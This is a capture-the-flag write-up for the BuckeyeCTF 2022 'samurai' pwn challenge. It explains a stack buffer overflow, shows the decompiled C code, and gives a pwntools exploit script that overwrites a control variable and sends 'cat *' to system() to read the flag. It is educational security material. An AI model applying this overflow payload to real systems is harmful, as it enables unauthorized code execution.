Post

BuckeyeCTF 2022 - pwn: samurai

BuckeyeCTF 2022 - pwn: samurai

What I didn’t understand was the program inserts ./n which can be represented as 0x2ea. This is just a part of the string that it gets printed out to STDOUT. How this program works is it reads in some input from STDIN using fgets. fgets inserts a newline char after reading everything in (EOF or newline). But, if the input that I pass in to overflow the buffer that does not end with a newline char, then it will keep going (or being read) until it overflows the variable I want to overwrite. It can still work but there is this line of code strcpy(&s[strlen(s) - 1], ".\n"); that puts a new line character at strlen(s) - 1. So, when I was naively giving an input that I would think should overwrite the variable, the last bit was always replaced by 2ea which is .\n. AH!!!!!!!!!!!! So, what we would want to do is at least have a newline char in the middle of the string so strcpy does not insert that .\n where the last bit is (this bit is still needed to be overwritten with some value to make the attack happen).

Disassembly

I used IDA community edition to disassemble the binary to see what needs to be done to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-30h] BYREF
  char *command; // [rsp+20h] [rbp-10h]
  int win_var; // [rsp+2Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  strcpy(s, "RIGHT, right.                  ");
  win_var = 1768515945;
  scroll(txt);
  fgets(&s[14], 48, stdin);
  strcpy(&s[strlen(s) - 1], ".\n");
  scroll(s);
  scroll(off_4088);
  if ( win_var == 0x4774CC )
  {
    command = (char *)malloc(8uLL);
    scroll(off_4098);
    fgets(command, 8, stdin);
    system(command);
  }
  else
  {
    scroll(off_4090);
  }
  exit(0);
}

It looks likes we need to control the win_var variable to enter the if statement. After playing with the GDB, overflowing the buffer s allows me to overflow the integer variable as well. Some of the small things that I missed during the exploitation is already mentioned above.

Exploit

  • maybe write an example how my payload can be messed up
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pwn

r = pwn.remote('pwn.chall.pwnoh.io', 13371)
#r = pwn.gdb.debug('./samurai')

# As I mentioned above, inserting a null termination before it overflows the
# buffer prevents a newline char being inserted!
# The newline char after the hex value is to interact (or skip the prompt) with
# the prompt that asks for a command to enter
# I decided to cat everything within the directory and then searched the flag
payload = b'A' * 12 + b'\x00' + b'A' * 17 + pwn.p32(0x4774CC) + b'\ncat *'

r.sendline(payload)

r.interactive()

Debug mode with gdb

buckeye{7h3_1393nd_0f_7h3_s4mur41_b391n5}

Lessons learned

Make sure that I understand what is going on with the disassembled version of the binary (or at least try to understand as much as I can) so I don’t spend too much time on dealing with things like figuring out why a newline char keeps being added.

This post is licensed under CC BY 4.0 by the author.